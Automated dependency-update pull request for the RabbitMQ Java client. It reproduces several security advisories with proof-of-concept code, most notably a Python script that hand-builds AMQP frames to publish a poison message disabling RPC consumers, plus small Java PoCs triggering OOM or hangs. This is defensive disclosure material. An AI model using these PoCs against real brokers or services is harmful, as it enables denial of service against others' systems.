fix(deps): update dependency com.rabbitmq:amqp-client to v5.37.0 [security] by renovate[bot] · Pull Request #212 · Alice52/common-api

renovate · 2026-08-18T18:03:31Z

Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

Package	Change	Age	Confidence
com.rabbitmq:amqp-client (source)	`5.20.0` → `5.37.0`

RabbitMQ Java client ValueReader: Unbounded recursive table/array nesting causes StackOverflowError DoS

CVE-2026-69220 / GHSA-93j5-89vc-pph4

More information

Details

Summary

ValueReader.readTable() and readArray() recursively call readFieldValue() with no depth limit. A malicious AMQP peer can crash the client JVM by sending a deeply nested table structure.

Vulnerable Code

src/main/java/com/rabbitmq/client/impl/ValueReader.java lines 139-155 and 237-249:

private static Map<String, Object> readTable(DataInputStream in) throws IOException {
    long tableLength = unsignedExtend(in.readInt());
    // ...
    while(tableIn.available() > 0) {
        String name = readShortstr(tableIn);
        Object value = readFieldValue(tableIn);  // recursive call
    }
}

static Object readFieldValue(DataInputStream in) throws IOException {
    switch(in.readUnsignedByte()) {
      case 'F': value = readTable(in);  // mutual recursion
      case 'A': value = readArray(in);  // mutual recursion
    }
}

Attack Scenario

A malicious AMQP server (or MitM) sends a connection.start frame with ~580 levels of nested tables. Each level costs ~7 bytes (4-byte length + 1-byte key length + 1-byte key + 1-byte type tag), totaling ~4060 bytes within the 131,072 byte max frame size. With the default JVM stack (~512KB, ~864 bytes/frame), this triggers StackOverflowError, killing the I/O thread.

Exploitable pre-authentication since connection.start is the very first server frame.

Impact

Denial of service. StackOverflowError kills the client I/O thread.

CWE

CWE-674: Uncontrolled Recursion

Remediation

Add a depth counter to readTable/readArray/readFieldValue and throw MalformedFrameException when exceeding a threshold (e.g., 32).

Severity

CVSS Score: 8.7 / 10 (High)
Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

RabbitMQ Java client ValueReader: Oversized LongString/bytes length triggers OOM via unchecked allocation

CVE-2026-69219 / GHSA-68mj-5wr7-6fgg

More information

Details

Summary

ValueReader.readBytes() allocates a byte array sized by a wire-declared content length without validating it against actual frame data. A malicious AMQP peer triggers OOM by declaring a ~2GB string/bytes field.

Vulnerable Code

src/main/java/com/rabbitmq/client/impl/ValueReader.java lines 83-95:

private static byte[] readBytes(final DataInputStream in) throws IOException {
    final long contentLength = unsignedExtend(in.readInt());
    if(contentLength < Integer.MAX_VALUE) {
        final byte[] buffer = new byte[(int)contentLength];  // allocates before reading
        in.readFully(buffer);
        return buffer;
    }
}

Attack Scenario

A malicious AMQP server sends a LongString field (type tag 'S') with declared length 0x7FFFFFFE (2,147,483,646). The check contentLength < Integer.MAX_VALUE passes. new byte[2147483646] attempts ~2GB allocation, causing OutOfMemoryError before readFully() attempts to read data.

The allocation size is attacker-controlled and is NOT validated against the frame size or TruncatedInputStream bounds. Exploitable pre-authentication via connection.start server-properties table.

Impact

Denial of service via JVM OutOfMemoryError. Crashes the entire JVM.

CWE

CWE-789: Memory Allocation with Excessive Size Value

Remediation

Validate contentLength against the frame's remaining bytes or the negotiated max frame size (default 131,072) before allocating.

Severity

CVSS Score: 8.7 / 10 (High)
Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

RabbitMQ Java client: Unvalidated Class.forName in JSON-RPC ProcedureDescription enables arbitrary class loading

CVE-2026-63337 / GHSA-6g32-pxv4-2wfj

More information

Details

The JSON-RPC tools in com.rabbitmq.tools.jsonrpc perform Class.forName(javaReturnType) with initialize=true on class names received from untrusted AMQP messages, without any validation or allowlist.

Vulnerable code (ProcedureDescription.java:101-127):
When a JsonRpcClient connects, it calls system.describe and receives a service description from the AMQP queue. The response JSON includes javaReturnType fields that are reflectively set via JSONUtil.tryFill(), triggering setJavaReturnType() → computeReturnTypeAsJavaClass() → Class.forName(javaReturnType).

Attack scenario:

Victim uses JsonRpcClient to connect to a JSON-RPC service via RabbitMQ
Attacker (co-tenant on shared broker, or MITM) intercepts the system.describe request
Attacker responds with crafted javaReturnType values
Victim's client calls Class.forName(attackerInput) with default initialize=true
Static initializers of attacker-specified classes execute in victim's JVM

Additionally, the loaded class from getReturnType() is passed to mapper.parse(replyStr, expectedType) at JsonRpcClient.java:168, potentially enabling type-confusion.

Recommended fix: Use Class.forName(javaReturnType, false, classLoader) to prevent static initializer execution, or add an allowlist of permitted return types.

CWE: CWE-470

Reply from reporter (2026-06-29): Thanks for the quick turnaround. Fix looks good. Looking forward to the CVE assignment.

Severity

CVSS Score: 7.5 / 10 (High)
Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:P/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

RabbitMQ Java client: TrustEverythingTrustManager used by default in useSslProtocol() enables MITM

CVE-2026-63336 / GHSA-5m9f-rphj-c435

More information

Details

Vulnerability Summary

com.rabbitmq.client.TrustEverythingTrustManager accepts ANY TLS certificate (including null chains) and is used as the default trust manager when calling ConnectionFactory.useSslProtocol() without arguments. Combined with hostname verification being disabled by default, this enables trivial man-in-the-middle attacks.

Affected Components

com.rabbitmq.client.TrustEverythingTrustManager — accepts any certificate
com.rabbitmq.client.ConnectionFactory.useSslProtocol() — uses TrustEverythingTrustManager
Hostname verification disabled by default (enableHostnameVerification() must be called explicitly)
com.rabbitmq.client.ConnectionFactory.getPassword() — returns plaintext with no redaction
Default port 5672 (plaintext) with PLAIN SASL — credentials sent unencrypted

POC (Verified on Java 21, amqp-client 5.25.0)

// TrustEverythingTrustManager accepts ANY certificate including null
TrustEverythingTrustManager tm = new TrustEverythingTrustManager();
tm.checkServerTrusted(null, "RSA");  // No exception — accepts null cert chain
tm.getAcceptedIssuers();  // Returns empty array — trusts all CAs

// ConnectionFactory defaults
ConnectionFactory factory = new ConnectionFactory();
factory.useSslProtocol();  // Uses TrustEverythingTrustManager internally
// enableHostnameVerification() NOT called by default

// Credential exposure
factory.setPassword("secret_password_123");
factory.getPassword();  // Returns "secret_password_123" — no redaction

// Default plaintext port
factory.getPort();  // 5672 (plaintext, not 5671/TLS)

// PLAIN SASL sends cleartext credentials
PlainMechanism pm = new PlainMechanism();
// handleChallenge() sends username+password in cleartext

Attack Scenarios

MITM: Attacker presents self-signed cert → TrustEverythingTrustManager accepts it → all RabbitMQ traffic intercepted
Credential theft: Default plaintext port (5672) + PLAIN SASL = credentials readable on network
DNS rebinding: No hostname verification → attacker DNS record → MITM without cert
Logging exposure: getPassword() returns plaintext → credentials in logs/stack traces

Suggested Fix

Deprecate TrustEverythingTrustManager — it should never be used in production
useSslProtocol() should use the JVM default trust store, not TrustEverything
Enable hostname verification by default
Redact password in getPassword() or remove the public getter
Warn when using PLAIN SASL without TLS

Severity

CVSS Score: 5.1 / 10 (Medium)
Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:N/SC:H/SI:L/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

RabbitMQ Java client malformed body frame triggers raw command assembler exception

CVE-2026-63335 / GHSA-qx7j-jv8m-fppr

More information

Details

Summary

RabbitMQ Java Client's inbound AMQP command assembly accepts a content header declaring a small body and then processes a larger body frame by throwing a raw UnsupportedOperationException from CommandAssembler. A broker peer that the client has connected to can use this malformed frame sequence to fail frame processing and tear down the client connection instead of receiving a clean protocol-level malformed-frame error.

This was discovered based on an existing vulnerability CVE-2017-15699.

Details

Inbound frames enter the client through SocketFrameHandler.readFrame, which returns frames parsed from the peer-controlled input stream (src/main/java/com/rabbitmq/client/impl/SocketFrameHandler.java:197). AMQConnection.MainLoop reads each frame (src/main/java/com/rabbitmq/client/impl/AMQConnection.java:692) and dispatches non-zero-channel frames to the channel while the connection is open (src/main/java/com/rabbitmq/client/impl/AMQConnection.java:748 and src/main/java/com/rabbitmq/client/impl/AMQConnection.java:766). The channel then passes the frame to the current command assembler through AMQChannel.handleFrame and AMQCommand.handleFrame (src/main/java/com/rabbitmq/client/impl/AMQChannel.java:121, src/main/java/com/rabbitmq/client/impl/AMQCommand.java:114). When a content-bearing method is followed by a content header, CommandAssembler.consumeHeaderFrame records the header's declared body size in remainingBodyBytes after only checking it against the configured maximum (src/main/java/com/rabbitmq/client/impl/CommandAssembler.java:126 through src/main/java/com/rabbitmq/client/impl/CommandAssembler.java:139). The body-frame path subtracts the received payload length from that remaining count before validating that the payload fits (src/main/java/com/rabbitmq/client/impl/CommandAssembler.java:145 through src/main/java/com/rabbitmq/client/impl/CommandAssembler.java:149), so a body frame larger than the declared size drives the count negative and reaches the raw UnsupportedOperationException at src/main/java/com/rabbitmq/client/impl/CommandAssembler.java:150 and src/main/java/com/rabbitmq/client/impl/CommandAssembler.java:151. AMQConnection catches the resulting throwable in frame processing and performs connection failure handling and final shutdown (src/main/java/com/rabbitmq/client/impl/AMQConnection.java:695 through src/main/java/com/rabbitmq/client/impl/AMQConnection.java:705).

PoC

poc.zip

bash ./poc/run.sh

Exception in thread "main" java.lang.UnsupportedOperationException: %%%%%% FIXME unimplemented

The UnsupportedOperationException: %%%%%% FIXME unimplemented fingerprint is the raw exception thrown at the negative remainingBodyBytes check in CommandAssembler.consumeBodyFrame. This line shows the malformed declared-size/body-size sequence reached the vulnerable assembler path.

Impact

The attacker model is a remote AMQP broker peer that the RabbitMQ Java Client application has accepted, including a malicious broker endpoint, a compromised broker, or routing that sends the client to an attacker-controlled peer. The peer needs a non-zero open channel that can receive a content-bearing server-to-client method such as basic.deliver, then sends the method frame, a content header declaring a body below the configured maximum, and a body frame whose payload exceeds that declared size. Under those conditions, the peer can force frame processing to fail with UnsupportedOperationException and close the AMQP connection, producing a client-side denial of service for work depending on that connection; the finding does not indicate memory corruption, data disclosure, or code execution.

Severity

CVSS Score: 6.3 / 10 (Medium)
Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:N/SC:N/SI:N/SA:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

RabbitMQ Java client accepts broker frames larger than the negotiated AMQP frame_max

CVE-2026-61634 / GHSA-5xwg-cfvj-gff5

More information

Details

Summary

The max body size was enforced to patch CVE-2023-46120, but even though that limit still works, the frame size itself still exceeds the given max size.

Root cause

The Java client records the AMQP 0-9-1 frame_max negotiated during connection tuning, but the socket inbound frame reader continues to validate broker-controlled payload lengths against the much larger maxInboundMessageBodySize limit. A broker peer can therefore send a method frame whose payload is larger than the negotiated frame_max, have it allocated and decoded, and complete the connection handshake instead of being rejected as a protocol violation.

Reported by Team Atlanta.

Severity

CVSS Score: 0.0 / 10 (Low)
Vector String: CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

RabbitMQ Java client has frame-level OOM: Math.min(maxInboundMessageBodySize, 0) defeats frame size enforcement

CVE-2026-75516 / GHSA-jh4v-gfqj-7rhx

More information

Details

Vulnerability

In AMQConnection.java (line 435-436), after Connection.Tune negotiation, the frame-max limit is set via:

_frameHandler.setFrameMax(
    Math.min(this.maxInboundMessageBodySize, frameMax));

When frameMax = 0 (meaning "unlimited" per AMQP spec), Math.min(67108864, 0) = 0. This value is then passed to Utils.framePayloadLimit(0) which returns Integer.MAX_VALUE (line 77-79 of Utils.java):

static int framePayloadLimit(int frameMax) {
    if (frameMax <= 0) {
      return Integer.MAX_VALUE;
    }
    // ...
}

This completely defeats the maxInboundMessageBodySize protection (default 64MB) at the frame level.

Attack Scenario

A malicious AMQP server (or MITM) sends Connection.Tune with frameMax=0:

Client defaults: requestedFrameMax = 0 (ConnectionFactory.DEFAULT_FRAME_MAX, line 82)
negotiatedMaxValue(0, 0) = Math.max(0, 0) = 0 (line 673-676)
Math.min(maxInboundMessageBodySize, 0) = 0 — 64MB cap defeated
framePayloadLimit(0) = Integer.MAX_VALUE — no frame size enforcement
Attacker sends a single frame with frameSize = 0x1FFFFFFF (~500MB)
Frame.readFrom() (line 135) executes new byte[frameSize] — OOM crash

The frame does not need to be a body frame — method frames, header frames, or heartbeat frames with a crafted size field all trigger the allocation before any content-level check fires.

Root Cause

The AMQP spec uses frameMax=0 to mean "unlimited", but Math.min treats it as the integer value zero. The intent of line 435-436 was to take the smaller of the two limits, but when one limit uses 0-means-unlimited semantics, Math.min always selects the zero, disabling the other limit.

Impact

Default configuration is vulnerable: Both requestedFrameMax (client) and legitimate servers' frameMax in Tune may be 0
Single-frame OOM: One malicious frame triggers up to ~2GB allocation (Integer.MAX_VALUE bytes)
Bypasses existing protection: maxInboundMessageBodySize (introduced to cap allocations at 64MB) is entirely defeated at the frame level
Different from ValueReader OOM: This is a frame-layer allocation in Frame.readFrom(), not a value-layer allocation in ValueReader.readBytes()

Affected Code

AMQConnection.java:435-436 — Math.min with 0-means-unlimited
Utils.java:77-79 — framePayloadLimit(0) returns Integer.MAX_VALUE
Frame.java:135 — new byte[frameSize] allocation site
ConnectionFactory.java:82 — DEFAULT_FRAME_MAX = 0

Suggested Fix

int effectiveFrameMax = (frameMax == 0)
    ? this.maxInboundMessageBodySize
    : Math.min(this.maxInboundMessageBodySize, frameMax);
_frameHandler.setFrameMax(effectiveFrameMax);

This treats frameMax=0 as "use maxInboundMessageBodySize as the cap" instead of "zero".

Severity

CVSS Score: 8.7 / 10 (High)
Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

RabbitMQ Java client: plaintext broker credentials leaked in exception message from ConnectionFactoryConfigurator.load()

CVE-2026-106123 / GHSA-h6w7-qmcm-q6xr

More information

Details

Summary

When property-file/Map-based ConnectionFactory setup fails while parsing the uri key, the library wraps the underlying exception with the raw connection string — including the plaintext username and password — baked verbatim into the new exception's message.

Details

ConnectionFactoryConfigurator.load(ConnectionFactory, Map<String,String>, String) (src/main/java/com/rabbitmq/client/ConnectionFactoryConfigurator.java, lines 142-155):

String uri = properties.get(prefix + "uri");
if (uri != null) {
    try {
        cf.setUri(uri);
    } catch (URISyntaxException e) {
        throw new IllegalArgumentException("Error while setting AMQP URI: " + uri, e);
    } catch (NoSuchAlgorithmException e) {
        throw new IllegalArgumentException("Error while setting AMQP URI: " + uri, e);
    } catch (KeyManagementException e) {
        throw new IllegalArgumentException("Error while setting AMQP URI: " + uri, e);
    }
}

uri is the full AMQP URI — amqp(s)://username:password@host:port/vhost — concatenated verbatim into the exception message on any of the three catch branches. No masking/redaction exists anywhere in this class or in ConnectionFactory.setUri(). This is the library's documented Spring-Boot/ops-config entry point (ConnectionFactory.load(...), available since 4.4.0), not obscure internal code.

RabbitMQ's own AMQP URI spec (rabbitmq.com/docs/uri-spec) explicitly warns the password "should avoid leaking... the full URI should not appear in exception messages or log records." A sibling method twenty lines away (ConnectionFactory.setUri(URI)) already avoids this exact mistake for a different malformed-URI case — this path wasn't caught by that same care.

Note: KeyManagementException is declared in the throws clause but not actually reachable via the current setUri(String) → setUri(URI) call chain — the two real, reachable leak surfaces are the URISyntaxException branch (trivial, deterministic, scheme-independent) and the NoSuchAlgorithmException branch (real but narrower — amqps:// only, requires a restricted/FIPS-style default TLS provider).

PoC

Map<String, String> props = new HashMap<>();
props.put("uri", "amqp://svc-account:P@ssW0rd With Space!@&#8203;broker.internal:5672/prod");
ConnectionFactory cf = new ConnectionFactory();
ConnectionFactoryConfigurator.load(cf, props, "");

Throws:

java.lang.IllegalArgumentException: Error while setting AMQP URI: amqp://svc-account:P@ssW0rd With Space!@&#8203;broker.internal:5672/prod

A password containing a space is entirely ordinary under common corporate password policies, and java.net.URI rejects such input outright — this isn't a contrived edge case.

Impact

Default Spring Boot startup-failure logging, an APM/error tracker, a CI job log, or an engineer pasting a stack trace into an internal or public ticket now holds the plaintext broker password, in a system typically far less access-controlled than wherever the credential is normally stored. Note the underlying URISyntaxException also carries the same string in its own message, chained as the cause of RabbitMQ's IllegalArgumentException — so removing RabbitMQ's own + uri concatenation alone would not fully close this; the raw secret-bearing string also shouldn't be handed to new URI() for error-reporting purposes at all.

Suggested fix: don't include the raw uri string in the wrapped exception's message — redact the userinfo component (or omit the URI entirely) before including it in any exception text.

Severity

CVSS Score: 5.7 / 10 (Medium)
Vector String: CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

RabbitMQ: Malformed UTF-8 in shortstr properties permanently disables RPC consumers

CVE-2026-106122 / GHSA-7822-rcf6-97fx

More information

Details

Summary

A single AMQP message with malformed UTF-8 in a shortstr property (for example correlation-id) can permanently disable a Java client RPC consumer.

The client decodes malformed bytes into U+FFFD replacement characters. Each of those re-encodes to 3 bytes, so a 255-byte property becomes 765 bytes (over the 255-byte shortstr limit). When the application echoes that value back, as the documented RPC pattern does, the encoder throws an unchecked IllegalArgumentException. That kills the consumer loop or tears down the channel.

The message is never acknowledged, so the broker requeues it and it disables the next consumer that picks it up. Recovery does not help; the service stays down until an operator manually purges the queue.

In short: the decoder produces values the encoder rejects, and any client permitted to use an RPC service can permanently destroy it for everyone.

Details

ValueReader.readShortstr decodes with new String(b, StandardCharsets.UTF_8), which silently substitutes U+FFFD for malformed input:

https://github.com/rabbitmq/rabbitmq-java-client/blob/main/src/main/java/com/rabbitmq/client/impl/ValueReader.java#L69-L75

ValueWriter.writeShortstr then rejects the result with an unchecked exception:

https://github.com/rabbitmq/rabbitmq-java-client/blob/main/src/main/java/com/rabbitmq/client/impl/ValueWriter.java#L44-L56

So a value the library itself produced cannot be passed back to the library. Any shortstr property that arrives from the wire and is echoed back (correlation-id, reply-to used as a routing key, message-id, type, app-id) is affected.

Two consumption paths are impacted:

RpcServer.mainloop() catches only InterruptedException and ShutdownSignalException, so the exception escapes and the loop thread dies silently:
https://github.com/rabbitmq/rabbitmq-java-client/blob/main/src/main/java/com/rabbitmq/client/RpcServer.java#L109-L129
The pattern in the official tutorial (basicConsume + DeliverCallback, echoing correlationId and publishing to replyTo) throws inside the callback, and the channel is closed by the exception handler. This is the more widely used of the two.

In both cases autoAck is false and the ack is never reached, so the message returns to the queue.

A related instance exists in the library's own recovery path: RecordedConsumer.recover() re-sends the broker-assigned consumer tag, which would hit the same throw if a malicious broker assigned a malformed tag.

PoC

Neither the Java client nor pika can reproduce this: the Java writer rejects oversized strings, and both encode str as well-formed UTF-8, which does not expand. The frames must be written by hand. A triager who tries with a stock client will not reproduce it.

Start a broker:

docker run -it --rm --name rabbitmq -p 5672:5672 rabbitmq

Publish a message whose correlation-id is 255 × 0xFF:

import socket, struct

def sstr(b):
    if isinstance(b, str): b = b.encode()
    return struct.pack(">B", len(b)) + b
def lstr(b): return struct.pack(">I", len(b)) + b
def fr(t, ch, p): return struct.pack(">BHI", t, ch, len(p)) + p + b"\xce"
def m(c, mi, a=b""): return struct.pack(">HH", c, mi) + a

QUEUE = "rpc.poison"
s = socket.create_connection(("127.0.0.1", 5672), timeout=10)

def rf():
    h = b""
    while len(h) < 7: h += s.recv(7 - len(h))
    t, ch, sz = struct.unpack(">BHI", h)
    p = b""
    while len(p) < sz: p += s.recv(sz - len(p))
    s.recv(1); return t, ch, p
def wait(c, mi):
    while True:
        t, ch, p = rf()
        if t == 1 and struct.unpack(">HH", p[:4]) == (c, mi): return p[4:]

s.sendall(b"AMQP\x00\x00\x09\x01"); wait(10, 10)
s.sendall(fr(1, 0, m(10, 11, struct.pack(">I", 0) + sstr("PLAIN")
    + lstr(b"\x00guest\x00guest") + sstr("en_US"))))
cm, fm, _ = struct.unpack(">HIH", wait(10, 30)[:8])   # must echo broker's limits
s.sendall(fr(1, 0, m(10, 31, struct.pack(">H", cm) + struct.pack(">I", fm) + struct.pack(">H", 0))))
s.sendall(fr(1, 0, m(10, 40, sstr("/") + sstr("") + b"\x00"))); wait(10, 41)
s.sendall(fr(1, 1, m(20, 10, sstr("")))); wait(20, 11)
s.sendall(fr(1, 1, m(50, 10, struct.pack(">H", 0) + sstr(QUEUE) + b"\x02"
    + struct.pack(">I", 0)))); wait(50, 11)

s.sendall(fr(1, 1, m(60, 40, struct.pack(">H", 0) + sstr("") + sstr(QUEUE) + b"\x00")))
props = sstr(b"\xff" * 255) + sstr("some-reply-queue")   # correlation-id = bit 10, reply-to = bit 9
s.sendall(fr(2, 1, struct.pack(">HHQ", 60, 0, 6) + struct.pack(">H", (1 << 10) | (1 << 9)) + props))
s.sendall(fr(3, 1, b"poison"))

##### close cleanly, otherwise the broker may not commit the publish
s.sendall(fr(1, 0, m(10, 50, struct.pack(">H", 200) + sstr("done") + struct.pack(">HH", 0, 0))))
wait(10, 51); s.close()
print("published to", QUEUE)

Run a consumer using the tutorial pattern against rpc.poison:

DeliverCallback cb = (tag, delivery) -> {
    AMQP.BasicProperties reply = new AMQP.BasicProperties.Builder()
        .correlationId(delivery.getProperties().getCorrelationId()).build();
    channel.basicPublish("", delivery.getProperties().getReplyTo(), reply, "pong".getBytes("UTF-8"));
    channel.basicAck(delivery.getEnvelope().getDeliveryTag(), false);
};
channel.basicConsume("rpc.poison", false, cb, t -> {});

Observed:

java.lang.IllegalArgumentException: Short string too long; utf-8 encoded length = 765, max = 255.
  at com.rabbitmq.client.impl.ContentHeaderPropertyWriter.writeShortstr(...)
  at com.rabbitmq.client.impl.ChannelN.basicPublish(ChannelN.java:753)
channel open after: false
queue depth after: 1

The same message run against RpcServer.mainloop() kills the loop thread instead, and re-kills it on every restart.

Control: 255 bytes of valid UTF-8 in the same field is handled normally and acked. The trigger is specifically the malformed input.

Negative results, for completeness: automatic connection recovery does not re-open the channel, so there is no crash loop and no CPU or memory exhaustion. The impact is loss of availability, not resource consumption.

Impact

Denial of service against applications that implement AMQP RPC with this client, including the pattern shown in the official Java RPC tutorial.

Severity

CVSS Score: 6.0 / 10 (Medium)
Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

RabbitMQ: JSONReader in the default JSON-RPC mapper never terminates on truncated input, causing DoS

CVE-2026-106121 / GHSA-cqgh-8p3p-mx4m

More information

Details

Summary

com.rabbitmq.tools.json.JSONReader.read() never returns when its input ends inside a quoted string or a // line comment. Both scanners walk the input with StringCharacterIterator.next() but only compare against a delimiter, so once the iterator reaches CharacterIterator.DONE (�) they loop forever. The string scanner (string(), line 210, while (c != sep)) also appends � to a StringBuilder every iteration, so it fills the heap and throws OutOfMemoryError, taking down the JVM. The comment scanner (skipWhiteSpace(), lines 89-92, while (c != '\n')) pins a thread at 100% CPU with no allocation.

This is reachable with a single message. JsonRpcServer and JsonRpcClient fall back to DefaultJsonRpcMapper whenever no mapper is passed (JsonRpcServer.java:84 and :114, JsonRpcClient.java:186), and that mapper hands the raw message body straight to JSONReader.read() (DefaultJsonRpcMapper.java:42 for the server request, :52 for the client reply). A caller that can publish to the RPC request queue hangs the server; a malicious or MITM'd JSON-RPC service does the same to a client.

Proof of concept

Against amqp-client 5.36.0 from Maven Central:

import com.rabbitmq.tools.jsonrpc.DefaultJsonRpcMapper;

public class Poc {
    public static void main(String[] args) {
        DefaultJsonRpcMapper mapper = new DefaultJsonRpcMapper();
        mapper.parse("{\"method\":\"x", String.class); // unterminated string
        // mapper.parse("//", String.class);           // unterminated // comment
        System.out.println("unreachable");
    }
}

java -Xmx64m -cp amqp-client-5.36.0.jar:. Poc throws OutOfMemoryError: Java heap space in about 0.1s and never prints. Swapping in the // line spins at 100% CPU and never returns. A well-formed body such as {"method":"x"} returns immediately.

Impact

Availability. One small, unauthenticated message stops a JSON-RPC endpoint: the unterminated string exhausts the heap, the unterminated comment pins a thread forever. Neither is recoverable per request - JsonRpcServer.doCall only catches ClassCastException, and an OutOfMemoryError affects the whole process.

Scope and fix

Only applications using the JSON-RPC-over-AMQP tooling (com.rabbitmq.tools.jsonrpc) with the default DefaultJsonRpcMapper are affected. DefaultJsonRpcMapper and JSONReader are deprecated in favour of JacksonJsonRpcMapper, but both still ship and remain the default when no mapper is supplied. The fix is to stop both loops at CharacterIterator.DONE.

Severity

CVSS Score: 4.9 / 10 (Medium)
Vector String: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Release Notes

rabbitmq/rabbitmq-java-client (com.rabbitmq:amqp-client)

`v5.37.0`: 5.37.0

Changes between 5.36.0 and 5.37.0

This is a maintenance release with a bug fix, a usability improvement, and dependency upgrades. It is compatible with 5.36.0. All users are encouraged to upgrade.

Harden (deprecated) JSON reader

GitHub PR: #2100

Set preferred TLS protocol to version 1.3

GitHub issue: #2098

Bump dependencies

GitHub issue: #2093

Dependency

Maven

<dependency>
  <groupId>com.rabbitmq</groupId>
  <artifactId>amqp-client</artifactId>
  <version>5.37.0</version>
</dependency>

Gradle

compile 'com.rabbitmq:amqp-client:5.37.0'

`v5.36.0`: 5.36.0

Changes between 5.35.0 and 5.36.0

This is a maintenance release with bug fixes and dependency upgrades. It is compatible with 5.35.0. All users are encouraged to upgrade.

Do not enable hostname verification in useTlsWithNoVerification

GitHub PR: #2081

Be more defensive when parsing shortstr values in tables

GitHub PR: #2065

Bump dependencies

GitHub issue: #2056

Dependency

Maven

<dependency>
  <groupId>com.rabbitmq</groupId>
  <artifactId>amqp-client</artifactId>
  <version>5.36.0</version>
</dependency>

Gradle

compile 'com.rabbitmq:amqp-client:5.36.0'

`v5.35.0`: 5.35.0

Changes between 5.34.0 and 5.35.0

This is a maintenance release with bug fixes and dependency upgrades. It is compatible with 5.34.0. All users are encouraged to upgrade.

Refine error reporting for malformed URIs

GitHub PR: #2052

Add possibility to exclude Netty dependencies

GitHub issue: #2047

Bump dependencies

GitHub issue: #2021

Dependency

Maven

<dependency>
  <groupId>com.rabbitmq</groupId>
  <artifactId>amqp-client</artifactId>
  <version>5.35.0</version>
</dependency>

Gradle

compile 'com.rabbitmq:amqp-client:5.35.0'

`v5.34.0`: 5.34.0

Compare Source

Changes between 5.33.1 and 5.34.0

This is a maintenance release with bug fixes and dependency upgrades. It is compatible with 5.33.1. All users are encouraged to upgrade.

Harden connection negotiation phase

GitHub PRs: #2018 #2020

Honor unlimited negotiated frame_max when capping inbound message size

GitHub PR: #2016

Reject negative body size when parsing content headers

GitHub PR: #2014

Bump dependencies

GitHub issue: #2006

Dependency

Maven

<dependency>
  <groupId>com.rabbitmq</groupId>
  <artifactId>amqp-client</artifactId>
  <version>5.34.0</version>
</dependency>

Gradle

compile 'com.rabbitmq:amqp-client:5.34.0'

`v5.33.1`: 5.33.1

Compare Source

Changes between 5.33.0 and 5.33.1

This is a maintenance release with a bug fix. It is compatible with 5.33.0. All users are encouraged to upgrade.

Harden `ValueReader`

GitHub PR: #2008

Dependency

Maven

<dependency>
  <groupId>com.rabbitmq</groupId>
  <artifactId>amqp-client</artifactId>
  <version>5.33.1</version>
</dependency>

Gradle

compile 'com.rabbitmq:amqp-client:5.33.1'

`v5.33.0`: 5.33.0

Compare Source

Changes between 5.32.0 and 5.33.0

This is a maintenance release with bug fixes and dependency upgrades. It introduces minor breaking changes compared to 5.32.0 (see below for details). All users are encouraged to upgrade.

The RabbitMQ team normally maintain strict backward compatibility in minor versions. However, this release includes exceptional breaking changes that were necessary to patch security gaps and enforce secure-by-default behavior.

Breaking changes:

Hostname verification is now enabled by default as soon as TLS is used.
ConnectionFactory#useSslProtocol() now utilizes the JVM's default SSLContext, which validates the server certificate.
- Note: This should primarily affect test environments, as useSslProtocol() was never intended for production use.
- Action required: For test or development environments where certificate validation needs to be disabled, users can now explicitly switch to the new ConnectionFactory#useTlsWithNoVerification() method.
JSON-RPC support classes now introduce an "allowlist". This change only impacts installations that explicitly utilize these classes.

Harden RPC support classes

GitHub PR: #2002

Enable hostname verification by default

GitHub issue: #2005

Introduce helper for dev/test TLS setup

GitHub PR: #2001

Enforce inbound frame max more strictly

GitHub PRs: #1995 #1998

Bump dependencies

GitHub issue: #1991

Dependency

Maven

<dependency>
  <groupId>com.rabbitmq</groupId>
  <artifactId>amqp-client</artifactId>
  <version>5.33.0</version>
</dependency>

Gradle

compile 'com.rabbitmq:amqp-client:5.33.0'

`v5.32.0`: 5.32.0

Compare Source

Changes between 5.31.0 and 5.32.0

This is a maintenance release with dependency upgrades. It is compatible with 5.31.0. All users are encouraged to upgrade.

Bump dependencies

GitHub issue: #1973

Dependency

Maven

<dependency>
  <groupId>com.rabbitmq</groupId>
  <artifactId>amqp-client</artifactId>
  <version>5.32.0</version>
</dependency>

Gradle

compile 'com.rabbitmq:amqp-client:5.32.0'

`v5.31.0`: 5.31.0

Compare Source

Changes between 5.30.0 and 5.31.0

This is a maintenance release with a usability improvements and dependency upgrades. It is compatible with 5.30.0. All users are encouraged to upgrade.

Use explicit message for malformed frame

GitHub PR: #1960

Bump dependencies

GitHub issue: #1938

Dependency

Maven

<dependency>
  <groupId>com.rabbitmq</groupId>
  <artifactId>amqp-client</artifactId>
  <version>5.31.0</version>
</dependency>

Gradle

compile 'com.rabbitmq:amqp-client:5.31.0'

`v5.30.0`: 5.30.0

Compare Source

Changes between 5.29.0 and 5.30.0

This is a maintenance release with bux fixes, usability improvements, and dependency upgrades. It is compatible with 5.29.0. All users are encouraged to upgrade.

Report malformed frame

GitHub PR: #1930
GitHub PR: #1935

Cover more built-in exchange types

